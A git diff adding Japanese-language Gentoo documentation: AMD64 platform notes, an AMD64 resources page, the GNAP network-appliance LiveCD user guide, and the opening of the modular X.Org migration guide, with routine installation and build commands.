+1.4.2リリースは最終版ではないでしょう。 (SunとBlackdownの両方の)1.5.0でもなさそうです。 SunはサーバVMの移植で満足しており、クライアントVMの移植にはあまり興味がありません(IA64 &amp; SPARC64などの他の64-bitVMもサーバVMだけです)。 それに、無償でのたいへんな量の作業です(10から13人で何週間もです)。 
+</pre>
+<p>
+もしベンチマークを走らせるなら、公平をきす為にも、 java -serverを両方のアーキテクチャで走らせて下さい。 すぐに、クライアントVMの移植が終了すると思わないように。
+</p>
+<p>
+javaをインストールしたら、Mozilla(そしてたぶんkonqueror)に必要な以下のsymlinkを作成します。
+</p>
+<pre caption="symlinkの作成">
+/usr/lib/nsbrowser/plugins/libjavaplugin_oji.so -> /opt/blackdown-jdk-1.4.2_rc1/jre/plugin/amd64/mozilla/libjavaplugin_oji.so
+</pre>
+</body>
+</section>
+ 
+<section><title>OpenOfficeのインストール</title>
+<body>
+<p>
+OpenOffice 1.1.xはAMD64上ではコンパイル出来ないため、32-bitバイナリモードでのみ入手可能です。 OpenOfficeをインストールするには、<path>app-office/openoffice-bin</path>パッケージをemergeして下さい。
+</p>
+<note>OpenOfficeをソースからコンパイルすることは、考えることすら止めて下さい。 意味のない努力であり、眠れない夜を過ごすことになります。
+</note>
+</body>
+</section>
+
+<section><title>きちんと設定されたCFLAGS</title>
+<body>
+<p>
+gcc 3.3と異なり、gcc 3.4は-marchの設定を要求します。 もっとも保守的な(そしてサポートされている)CFLAGSは以下のとおりになります
+</p>
+<pre caption="gcc-3.4 CFLAGS">
+...
+CFLAGS="-march=k8 -O2 -pipe"
+...
+</pre>
+<note>
+<c>-march=k8</c> equals <c>-march=athlon64</c> equals <c>-march=opteron</c>.
+</note>
+<p>
+共有オブジェクトを構築するときに、<c>-fPIC</c>を指定しないことで発生した問題がかつてありました。 メーリングリストの投稿では、<uri link="http://www.x86-64.org/lists/discuss/msg02621.html">Hammerへの移植</uri> ｰｰ "Shared libraries must be compiled with -fPIC"までざっと見て下さい。 リンクもしくは実行させるために<c>-fPIC</c>が必要だと文句をいうパッケージがあるなら、わたしたちはそのパッケージを更新する必要があるため、すぐに知らせて下さい。 globalなCFLAGSに<c>-fPIC</c>を指定することは一時凌ぎにすぎず受けいれられません。 
+</p>
+<p>
+システムを32bitモードでコンパイルしないため、<c>-m32</c>フラグをUSEフラグに追加することは止めて下さい。 また、defaultでGentooは32-bitバイナリをコンパイルすることをサポートしていません。 コンパイラのdefaultは64-bitモードであり、内部的に<c>-m32</c>を供給する32-bitアセンブリをコンパイルするコードに好ましくない影響が在るかも知れないため<c>-m64</c>フラグを使用することは適切ではありません(新しいgrubがそうです)。
+</p>
+<warn><c>-0s</c>は使用しないこと。 KDE 3.2.0がコンパイルされないことがわかっています。
+</warn>
+</body>
+</section>
+ 
+<section><title>無視されるUSEフラグ</title>
+<body>
+<p>
+すべてのAMD64プロセッサは<c>mmx</c>, <c>3dnow</c>, <c>sse</c>と<c>sse2</c>インストラクションをサポートするため、USEフラグでは無視されます。 いくつかのパッケージにおいて32bitアセンブリ最適化を行なうためでもあります。
+</p>
+</body>
+</section>
+ 
+<section><title>バグの報告とパッチの提出</title>
+<body>
+<p>
+もしあなたのアプリケーションに問題があったり、問題を解決するためのパッチがあったり、もしくは構築に成功したリポート等があれば、バグリポートを<uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>に提出して下さい。 わたしたちはそれらををportageにマークすることができます。
+</p>
+<note>希望するなら<mail link="amd64@gentoo.org">amd64@gentoo.org</mail>にCCすることも出来ます。
+</note>
+<note>パッチを提出するには、まずバグリポートを提出しなければなりません。 それからバグリポートに戻り、"Create a new attachment"を選択して下さい。
+</note>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/resources.xml b/xml/htdocs/proj/ja/base/amd64/technotes/resources.xml
new file mode 100644
index 00000000..aa323847
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/resources.xml
@@ -0,0 +1,62 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/resources.xml,v 1.1 2005/05/22 16:10:40 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>February 19, 2005</date>
+<!-- Original revision: 1.2 -->
+
+<section>
+	<title>Gentoo/AMD64の追加リソース</title>
+<subsection>
+	<title>公式Gentooインストールハンドブック</title>
+<body>
+<p>
+これらの技術ノートは公式Gentoo文書の補助的なものです。 Gentooインストールに関するもっと一般的な情報に関しては、<uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentooハンドブック</uri><uri link="http://www.gentoo.org/doc/ja/handbook/handbook.xml">(日本語訳)</uri>を読んで下さい。
+</p>
+</body>
+</subsection>
+
+<subsection>
+	<title>メーリングリストとフォーラム</title>
+<body>
+<p>
+ユーザが質問できるようにGentoo/AMD64プロジェクトはメーリングリストとフォーラムがあります。
+</p>
+<ul>
+	<li>フォーラム: <uri>http://forums.gentoo.org/viewforum.php?f=46</uri></li>
+	<li>メーリングリスト: <mail
+link="gentoo-amd64-subscribe@gentoo.org">Subscribe</mail> / <mail
+link="gentoo-amd64-unsubscribe@gentoo.org">Unsubscribe</mail> / <uri
+link="http://www.gentoo.org/main/en/lists.xml">Mailing List Overview</uri></li>
+</ul>
+</body>
+</subsection>
+
+<subsection>
+	<title>Gentoo/AMD64 IRCチャット</title>
+<body>
+<p>
+もし全ての文書を読んでも解決策が見つからない場合、irc.freenode.net上の#gentoo-amd64であなたの問題に関して聞いてみて下さい。
+</p>
+<note>フォーラム、メーリングリスト、IRCで質問する前に、まず最初に技術ノートを読むことが重要です。
+</note>
+</body>
+</subsection>
+
+<subsection>
+	<title>x86-64.orgウェブサイト</title>
+<body>
+<p>
+もしパッチや壊れたebuildを修復することに興味があるのであれば、<uri link="http://www.x86-64.org">AMD64 Homepage</uri>上にあるAMD64プラットフォームへアプリケーションを移植するための情報が有益かも知れません。
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/embedded/gnap-userguide.xml b/xml/htdocs/proj/ja/base/embedded/gnap-userguide.xml
new file mode 100644
index 00000000..8334145b
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/embedded/gnap-userguide.xml
@@ -0,0 +1,379 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/ja/base/embedded/gnap-userguide.xml">
+<title>Gentoo Network APpliance User Guide</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Koon</mail>
+</author>
+<author title="翻訳者">
+  <mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+この文書は、GNAPとはなにか、どのように構築するか、そしてどうやって使うかを説明します。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.5</version>
+<date>April 6, 2005</date>
+<!-- Original revision: 1.5 -->
+
+<chapter>
+<title>なぜGNAP?</title>
+<section>
+<title>名称</title>
+<body>
+
+<p>
+GNAPとは、Gentoo Network APplianceの頭字語です。
+</p>
+
+</body>
+</section>
+<section>
+<title>その必要性</title>
+<body>
+
+<p>
+GNAPは、完全なインストールをする必要のない内部ルータやファイヤウォールなど、古いPCをベースにしたネットワーク装置を立ち上げる必要性から生まれました。
+わたしは、壊れそうな部品を載せた何台もの古いPCを持っており、故障した場合は簡単に交換できるようにしたいのです。
+経験上、設定済みの取り外し可能なメディアが一番柔軟性がある方法です。
+PCが故障したときは、その設定済みのメディアを別の装置に載せるだけでいいのです。
+</p>
+
+<p>
+わたしはFDへのインストールを基本としたファイアウォール機能を持つ<uri link="http://leaf.sourceforge.net/mod.php?mod=userpage&amp;menu=910&amp;page_id=36">LEAF Bering-uClibc</uri>から使い始めましたが、メディアの脆さ、フロッピーの自動作成の難しさ、拡張性のなさといった問題ですぐに私の中の評価は下がりました。
+わたしはウェブインタフェースでISOイメージが自動生成可能な<uri link="http://leaf.sourceforge.net/doc/guide/bubooting.html#id2572755">CDへのインストールに設定された</uri>LEAF Bering-uClibcに切り替えました。
+これは、ほとんどの問題を解決しましたが、拡張性に問題が残りましたし、ウェブアプリをメンテするとという作業が悪夢になりつつありました。
+</p>
+
+<p>
+わたしは、ようやく<uri link="http://www.gentoo.org/proj/en/releng/catalyst/">Gentoo Catalyst</uri>を活用することに決めました。
+Gentoo CatalystはカスタムLiveCDを作成することができ、拡張性の問題と標準的でない保守作業の両方の問題を解決することができます。
+考え方としては、一度作成したら何処でも使用可能な一般的な最小限のLiveCDコアを作成し、装置の用途に応じてカスタマイズした特別な設定で上書きをしたCDを作成することです。
+これでCD作成を簡単にして、特別なLiveCDをカスタマイズするための、すべてのCatalyst手順を実行する必要がありません。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>GNAPを使ってカスタムネットワーク装置LiveCDを作成する方法</title>
+<section>
+<title>要件</title>
+<body>
+
+<p>
+<uri link="http://dev.gentoo.org/~koon/gnap/gnap-tools-current.tar.bz2">GNAP Tools</uri>と<uri link="http://dev.gentoo.org/~koon/gnap/gnap-core-current.tar">GNAP Core tarball</uri>、そしてapp-cdr/cdrtoolsパッケージが必要なだけです。
+カスタムGNAP LiveCDを作成するためにrootである必要はありません。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>どのように動作するのか?</title>
+<body>
+
+<p>
+gnap_overlayスクリプトはGNAPコアtarballと一つかそれ以上の上書き用のソース(ディレクトリかconfletファイル)を使用して、ブータブルLiveCD ISOファイルか取り外し可能なディスクデバイスにブータブルファイルシステムを作成します。
+</p>
+
+<note>
+訳注: 後で説明が出てきますが、confletはディレクトリを含むtar.bz2ファイルのことです。
+</note>
+
+<figure link="gnap_overlay.png" short="gnap_overlayの考え方"
+        caption="gnap_overlayがどのようにして動作するか"/>
+
+</body>
+</section>
+<section>
+<title>overlay.confファイル</title>
+<body>
+
+<p>
+overlay.confファイルは一般的なカスタマイズオプションを設定します。
+overlay.confは、上書きソース(etc/overlay.confとして)に必ず用意するか、<c>-c</c>パラメータで直接指定します。
+このファイルのなかで、ローカライゼーションとカスタムLiveCD上で、どの機能を有効にするか決定します。
+</p>
+
+<table>
+<tr>
+ <th>オプション</th>
+ <th>値</th>
+ <th>Default</th>
+</tr>
+<tr>
+ <ti>TIMEZONE</ti>
+ <ti><uri link="http://leaf.sourceforge.net/doc/guide/buci-tz.html">uclibc準拠 timezone code</uri></ti> 
+ <ti>empty (UTC)</ti>
+</tr>
+<tr>
+ <ti>KEYMAP</ti>
+ <ti>端末キーマップ値、例: <c>fr</c></ti>
+ <ti><c>us</c></ti>
+</tr>
+<tr>
+ <ti>NBCARDS</ti>
+ <ti>起動させたい接続されたネットワークカードの数</ti>
+ <ti><c>1</c></ti>
+</tr>
+<tr>
+ <ti>IP_RELAY</ti>
+ <ti>IPリレーを起動時に有効にするか?</ti>
+ <ti><c>no</c></ti>
+</tr>
+<tr>
+ <ti>NET_CONFIG</ti>
+ <ti>ネットワークはファイルにて設定されているか、それともDHCPか? 例: <c>dhcp</c></ti>
+ <ti><c>static</c></ti>
+</tr>
+<tr>
+ <ti>USE_PPPOE</ti>
+ <ti><c>yes</c>設定で起動時にrp-ppoeデーモンを起動する。</ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>USE_SSH</ti>
+ <ti><c>yes</c>設定で起動時にOpenSSHデーモンを起動する。 鍵が生成されていなければ、起動時に生成されます。</ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>USE_FW</ti>
+ <ti><c>yes</c>設定で起動時にファイアウォールスクリプトを起動する。
+     FW_TYPEオプションをみてください。 
+     defaultでないオプションを設定するには<path>etc/shorewall</path>か<path>etc/firehol</path>ディレクトリに上書きファイルをおいてください。
+</ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>FW_TYPE</ti>
+ <ti>あなたが使用したいファイアウォールの種類によって<c>shorewall</c>か<c>firehol</c>を設定してください。</ti>
+ <ti><c>shorewall</c></ti>
+</tr>
+<tr>
+ <ti>USE_TC</ti>
+ <ti><c>yes</c>を設定して起動時にトラフィックコントロールのスクリプトを起動する。
+     TC_TYPEオプションをみてください。 使用する設定ファイルを<path>etc/cbqinit</path>か<path>etc/htbinit</path>に上書きしてください。
+ </ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>TC_TYPE</ti>
+ <ti>あなたが使用するトラフィックコントロールの種類によって<c>cbqinit</c>か<c>htbinit</c>を設定してくださ。
+ </ti>
+ <ti><c>cbqinit</c></ti>
+</tr>
+<tr>
+ <ti>USE_VPN</ti>
+ <ti><c>yes</c>を設定して起動時にOpenVPNデーモンを起動します。
+     使用するOpenVPN設定ファイルを<path>etc/openvpn</path>に上書きしてください。
+ </ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>USE_DNSDHCP</ti>
+ <ti><c>yes</c>を設定して起動時にDNSMasqデーモンを起動します。
+     使用するDNSMasq設定ファイルを<path>etc/dnsmasq.conf</path>に上書きしてください。
+ </ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>USE_HTTP</ti>
+ <ti><c>yes</c>を設定して起動時にBoaデーモンを起動します。
+     使用するBoa設定ファイルを<path>etc/boa</path>ディレクトリに上書きしてください。
+ </ti>
+ <ti><c>no</c> (起動しない)</ti>
+</tr>
+<tr>
+ <ti>NTPSERVER</ti>
+ <ti>時刻同期先のNTPサーバの名前</ti>
+ <ti>empty (NTPを使って時刻同期を行わない)</ti>
+</tr>
+</table>
+</body>
+</section>
+<section>
+<title>オーバーレイソース</title>
+<body>
+
+<p>
+バージョン1.3から、複数の上書きソースを指定することが可能になりました(<c>-o</c>オプション)。
+上書きソースは、ディレクトリもしくはディレクトリを含むtar.bz2ファイル(confletと呼びます)のどちらかです。
+上書きディレクトリとconfletは起動直後のLiveCDルートファイルシステムのdefaultファイルを置き換えるファイルを含んでいます。
+</p>
+
+<p>
+主に置き換えられるファイルには、ホストネームを設定する<path>etc/conf.d/hostname</path>、ルートパスワードを設定する<path>etc/shadow</path>やネットワーク情報を設定する<path>etc/conf.d/net</path>が含まれます。
+</p>
+
+<note>
+GNAPツールの<path>examples/</path>サブディレクトリには、様々な目的のための典型的な上書きディレクトリとconflet例を見つけることができます。
+</note>
+
+<note>
+GNAP上書きスクリプトはCVSサブディレクトリを無視します。 
+これは必要のないものをGNAPシステムに取り入れることなくあなたの上書きファイルをCVSを使って簡単にバージョン管理を行うためです。
+</note>
+
+</body>
+</section>
+<section>
+<title>生成とCDの作成</title>
+<body>
+
+<p>
+gnap-toolsパッケージの<c>gnap_overlay</c>スクリプトを使ってください。
+たとえば、<path>gnap-core-1.3.tar</path> GNAPコアと<path>overlays/myfirewall</path>上書きディレクトリを使って<path>myfirewall.iso</path> LiveCDを作成します。
+</p>
+
+<pre caption="gnap_overlay使用例">
+$ ./gnap_overlay -i myfirewall.iso -g gnap-core-1.3.tar -o overlays/myfirewall
+</pre>
+
+<note>
+この例では、<path>etc/overlay.conf</path>が<path>overlays/myfirewall</path>ディレクトリにあるべきです。
+または、<c>-c</c>オプションを使って、特定のoverlay.confを指定してください。
+</note>
+
+<p>
+次にISOファイルをメディア(CD-RWを推奨します)に記録しテストます。
+</p>
+
+</body>
+</section>
+<section>
+<title>生成、ハードディスクやCFに記録する</title>
+<body>
+
+<p>
+gnap-toolsパッケージの<c>gnap_overlay</c>スクリプトは、GNAP設定が書き込まれた起動可能なハードディスクを作成するのにも使われます。
+ハードディスクだけでなく、DiskOnModuleやCFカードにも書き込むことが可能です。
+まず、対象のメディアが正常に設定されている必要があります。
+Master Boot Record(MBR)をインストールする必要があります。
+</p>
+
+<pre caption="/dev/sdaデバイスにMBRを作成する">
+# dd if=mbr/mbr.bin of=/dev/sda bs=512 count=1
+</pre>
+
+<p>
+fdiskを使用して有効なパーティションをデバイス上に作成する必要があります。
+そして、<c>-d</c>オプションを使用してgnap_overlayを呼び出してディスクに書き込みます(rootである必要があります)。
+デバイスを書き込むホスト上での、書き込み先のパーティション名を知っておく必要があります。
+またデバイス上でブートする(<c>-r</c>)GNAPシステムから見えるパーティション名も知っておく必要があります。
+たとえば、CFカードは/dev/sdb1ですがSoekrisシステムでは/dev/hda1になります。
+</p>
+
+<pre caption="GNAPをディスクに書き込む">
+# ./gnap_overlay -d /dev/sda1 -g gnap-core-1.3.tar -o overlays/myfirewall -r hda1 -m
+</pre>
+
+<note>
+複数の読み込みアクセスによるデバイスの疲弊をさけるために<c>-m</c>を使ってGNAPに起動後に、squashfsファイルシステムをキャッシュすることも可能です。
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>GNAPコアをどうやって再構築するか</title>
+
+<section>
+<body>
+
+<warn>
+GNAPコアの内容を変更(または最近のPortageスナップショットで標準コアを再構築)したいと考える上級者のみが本章を読むべきでしょう。
+コアの再構築は時間がかかる上に最近追加されたパッケージのバージョンによって引き起こされた問題に対応する必要が出てきます。
+</warn>
+
+</body>
+</section>
+<section>
+<title>前提条件</title>
+<body>
+
+<p>
+GNAPコアを構築するために、root権限が必要です。 これはCatalystを使用するためです。
+次のパッケージもインストールされている必要があります。
+</p>
+
+<ul>
+<li>dev-util/catalyst (1.1.8でテストされています)</li>
+<li>sys-fs/squashfs-tools (2.0でテストされています)</li>
+</ul>
+
+<p>
+最後にシードステージとしてuclibc/hardened stage2 tarballが必要です。
+現在は、<path>stage2-x86-uclibc-hardened-2004.3.tar.bz2</path>となっており、<uri link="http://gentoo.osuosl.org/experimental/x86/embedded/stages/">ここで</uri>ダウンロード可能です。
+</p>
+
+</body>
+</section>
+<section>
+<title>最初からGNAPコアを構築する</title>
+<body>
+
+<p>
+現在のバージョンのGNAPに使われる<c>gnap_make</c>ビルドスクリプト、Catalyst設定ファイル、Portage設定、カーネル設定が<uri link="http://dev.gentoo.org/~koon/gnap/gnap-sources-current.tar.bz2">GNAP Sources</uri>に含まれています。
+</p>
+
+<p>
+<c>-s</c>パラメータを使用してstage2 tarballシード指定し、<c>-e</c>パラメータでスペックディレクトリのフルパスを指定し、<c>gnap_make</c>を走らせてCatalyst stageとtarballの生成を行います(<c>-t all</c>)。
+</p>
+
+<pre caption="新しいGNAPコアtarballを1ステップで構築する">
+# ./gnap_make -t all -s ../stage2-x86-uclibc-hardened-2004.3.tar.bz2 -e /root/gnap-1.5/specs
+</pre>
+
+<p>
+これを終了するためには、<e>非常に</e>長い時間がかかります。
+現在の日付がバージョンになっているGNAPコアtarballができあがるはずです。
+</p>
+
+<p>
+もし以前に構築されたPortage snapshot(か公式ダウンロード版)を再利用したい場合は、portage-YYYYMMDD.tar.bz2ファイルを<path>/var/tmp/catalyst/snapshots</path>サブディレクトリにコピーして、<c>-p</c>オプションを指定します。
+</p>
+
+<pre caption="20040101 snapshotから構築する">
+# ./gnap_make -t all -s ../stage2-x86-uclibc-hardened-2004.3.tar.bz2 -p 20040401 -e /root/gnap-1.5/specs
+</pre>
+<p>
+もし失敗した場合や最後の段階を再度実行したい場合は、どのCatalystステージを呼び出すかgnap_makeで指定したいはずです。。
+これは、次のパラメータを使用することで可能です。
+再利用するGNAPタイムスタンプバージョン(<c>-v</c>)、stage名(<c>snapshot</c>, <c>stage3</c>, <c>livecd-stage1</c>,<c>livecd-stage2</c>)もしくは対象となる特別な(最終的にGNAPコアtarballになる)<c>tarball</c>(<c>-t</c>)。
+</p>
+
+<pre caption="構築済み20041008 Portage snapshotを使用して二つの20041012 GNAPビルドを呼び出す">
+# ./gnap_make -p 20041008 -v 20041012 -t livecd-stage2 -t tarball -e /root/gnap-1.5/specs
+</pre>
+
+</body>
+</section>
+<section>
+<title>GNAPコアをカスタマイズする</title>
+<body>
+
+<p>
+GNAPコアのカーネルソースを変更したくなるかもしれません(設定済みのソースがPortageにない場合は変更は必須になるでしょう)。
+<path>specs/common.conf</path>ファイルを編集して正しいソース名を指定し、<path>specs/kernel.config</path>のカーネル設定ファイルを変更して使用してください。
+</p>
+
+<p>
+<path>specs/common.conf</path>ファイルを編集することで、GNAPコアを構築するために使われているsubarchとprofileを変更することも可能です。
+デフォルトでは、<e>x86</e> subarchと<e>uclibc/x86/hardened</e> profileが使われています。
+</p>
+
+<p>
+新しいソフトウェアパッケージを追加するときは、<path>specs/packages.conf</path>ファイルに追加してください。
+defaultで新しいデーモンを開始するには、<path>specs/livecd.conf</path>ファイルの<c>livecd/rcadd</c>に追加してください。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/ja/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/ja/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..cc0258ea
--- /dev/null
+++ b/xml/htdocs/proj/ja/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,616 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/desktop/x/x11/modular-x-howto.xml,v 1.8 2006/09/09 16:02:27 idani Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/ja/desktop/x/x11/modular-x-howto.xml" lang="ja">
+<title>モジュラー化されたXへの移行手引き</title>
+
+<author title="Author">
+	<mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Author">
+	<mail link="joshuabaergen@gentoo.org">Joshua Baergen</mail>
+</author>
+<author title="翻訳">
+  <mail link="igarashi@gentoo.gr.jp">五十嵐 正尚</mail>
+</author>
+<author title="翻訳">
+  <mail link="tma@gside.org">Takeshi Matsuba</mail>
+</author>
+<author title="翻訳">
+  <mail link="shindo@gentoo.gr.jp">Shindo Naoaki</mail>
+</author>
+
+<abstract>
+このガイドはモジュラー化されたX.Orgに移行する方法を示します。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.1</version>
+<date>2006-01-02</date>
+
+<!-- Original revision: 1.55 -->
+
+<chapter>
+<title>はじめに</title>
+
+<section>
+<title>なぜモジュラー化なの?</title>
+<body>
+
+<p>
+1つでよかった簡単なxorg-x11パッケージが、一体どうしておよそ300の別々のものに切り替わってしまったのかと不思議に思うかもしれません。
+そして、きっと納得するでしょう。=)
+これはGentooが上流のX.Orgと関係なく行っていることではありません。
+X.Orgはすべてのパッケージを個別のリリースに分割しており、Gentooはそれに従っただけです。
+</p>
+
+<p>
+ビルドシステムの変更と分割の根拠には、少なくとも以下の3つがあります。
+</p>
+<ul>
+<li>
+新規の開発者がXを習得するは極めて困難です。よって、たとえ気に入らなくても、より多くの人々が快適になるシステム、autotoolsへ移行しました。
+</li>
+<li>
+移行にともなってautotoolsを使ってソースの分割が可能になり、そして開発者が扱いやすいようにもなります。
+</li>
+<li>
+これまでは不必要なものも一緒になっており、しばしばバグ修正することができなくなっていました。
+修正できたとしても、XOrgのすべてを再構築する必要がありました。
+例えば、atiドライバのバグは、まったくそれをする理由がなくても、次のリリースまで6ヶ月待たなければいけないか、それを修正するがためにフォントを再構築する必要がありました。
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>モジュラー化Xへの移行</title>
+
+<section>
+<title>はじめに</title>
+<body>
+
+<p>
+古いパッケージへの介入を防止するために、モジュラー化Xをインストールする前に、すべての古いxorg-x11のゴミを一掃します。
+これはまったく重要なことではありませんが、円滑に移行がしやすくなります。
+</p>
+</body>
+</section>
+
+<section>
+<title>第一段階: 古いXの一掃</title>
+<body>
+
+<p>
+モジュラー化されたXが満足に動作しなかった場合や、バージョン6.xに戻りたい場合に備えて、
+分割されていないxorg-x11のバックアップを作成します。
+</p>
+		
+<pre caption="古いxorg-x11のバックアップ">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+インストール済みの分割されていない方を取り除いてください。
+クラッシュやハード的なロックの危険性をさけるため、
+X.orgをアンインストールするまえに、起動しているXセッションを停止したほうがよいでしょう。
+</p>
+
+<pre caption="分割されていないXorgのunmerge">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+<path>/usr/X11R6</path>が<path>/usr</path>へのシンボリックリンクでないなら、それを削除してゼロから始めてください。
+ですが、まずそこにインストールしてあるすべてのパッケージのリストを記録してください。<c>equery</c>は<c>gentoolkit</c>パッケージにあります。
+</p>
+
+<pre caption="パッケージリストの作成">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+	then equery belongs /usr/X11R6 &gt; ~/usr-x11r6-packages \
+	&amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+<p>
+<path>/usr/lib/X11/xkb</path>
+(64bitユーザの場合は<path>/usr/lib64/X11/xkb</path>)
+が存在する場合には、最後に削除してください。
+削除は<c>xkeyborad-config</c>パッケージのインストール要件です。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>第二段階: モジュラー化Xのインストール</title>
+<body>
+
+<p>
+stable環境で動かしていて、希望のモジュラーXのバージョンが使用しているアーキテクチャ上でまだstableになっていない場合、
+必要なパッケージを<path>/etc/portage/package.keywords</path>に加えてください。
+<uri link="/proj/en/desktop/x/x11/modular-x-packages.txt">パッケージリスト</uri>をダウンロードし、好みのエディタで開いてください。
+そして、モジュラー化されたXの全てのマスクされているパッケージを<path>package.keywords</path>にコピー・ペーストしてください。
+意味がわからないなら、<uri link="/doc/en/handbook/handbook-x86.xml?part=3&amp;chap=3">マスクに関するハンドブックのセクション</uri><uri link="/doc/ja/handbook/handbook-x86.xml?part=3&amp;chap=3">(日本語訳)</uri>を読んでください。
+</p>		
+
+
+<note>
+もしバイナリドライバを使っている、もしくはバージョン7.0ではなく7.1を使う何らか理由がないのであれば、
+上記の作業は行わないでください。バイナリドライバはまだ、X.Org 7.1と互換性がありません。
+</note>
+
+
+<table>
+<tr>
+	<th>stable環境のユーザがpackage.keywordsに必要なその他パッケージ</th>
+</tr>
+<tr>
+	<ti>&gt;=sys-apps/portage-2.1_pre4</ti>
+</tr>
+<tr>
+	<ti>=sys-apps/man-1.6b-r2</ti>
+</tr>
+<tr>
+	<ti>app-admin/eselect-opengl</ti>
+</tr>
+<tr>
+	<ti>&gt;=app-admin/eselect-1.0_rc1</ti>
+</tr>
+<tr>
+	<ti>media-video/nvidia-kernel</ti>
+</tr>
+<tr>
+	<ti>media-video/nvidia-glx</ti>
+</tr>
+</table>
+
+<p>
+ダイレクトレンダリングを使用するには、<c>dri</c>のUSEフラグを有効にしてください。
+デフォルトでは有効になっているはずです。
+</p>
+
+<p>
+次に、どのドライバのインストールが必要か判定してください。
+使用環境の入力装置とvideoハードウェアによってさまざまです。
+すでに動作している<path>/etc/X11/xorg.conf</path>があるなら、どのドライバが必要かを把握するために以下のコマンドを実行してください。
+</p>
+
+<pre caption="どのドライバが必要かを調査">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+		Driver      "kbd"
+		Driver      "mouse"
+		Driver      "radeon"
+</pre>
+
+<pre caption="利用可能なドライバの確認">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga radeon savage -apm -ark -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -mach64 -neomagic
+-newport -nsc -nv -nvidia% -r128 -rendition -s3 -s3virge -siliconmotion -sis
+-sisusb -sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo -suntcx -tdfx -tga
+-trident -tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
+<p>
+<path>/etc/make.conf</path>に必要なものをINPUT_DEVICESとVIDEO_CARDSに設定してください。
+上記の例での最小限の設定は、INPUT_DEVICES="<c>keyboard mouse</c>" VIDEO_CARDS="<c>radeon</c>"です。
+これらの変数のどちらか一方を設定しないと、xorg-x11はその種類のドライバすべてを取り込みます。
+予備のドライバとして、<c>vesa</c>と<c>fbdev</c>をVIDEO_CARDSに追加してください。
+</p>
+
+<p>
+ここで以下のようにしてmetabuildをインストールしてください。
+これはサーバとXのデスクトップ機能を提供する主要なアプリケーションをインストールします。
+</p>
+
+<pre caption="モジュール化metabuildのインストール">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+# <i>revdep-rebuild</i>
+# <i>[[ -e ~/usr-x11r6-packages ]] &amp;&amp; emerge  $(&lt;~/usr-x11r6-packages)</i>
+</pre>
+
+<note>
+最小構成が必要なだけなら<c>xorg-server</c>のみをインストールしてください。
+これにより、Xサーバを起動するのに必要なものだけに抑えることができます。
+</note>
+
+<p>
+xorg-x11のemergeでは、より最小構成にしようとするので、xcursor-themesのようなものはデフォルトではインストールされません。一つの例としては、カーソル設定をwhiteglassやredglassやhandheldsに変更していたなら、xcursor-themesが必要でしょう。
+gentooを使うなら、gentoo-blueやgentoo-silberのカーソルテーマがある、gentoo-xcursorsをインストールしましょう。
+</p>
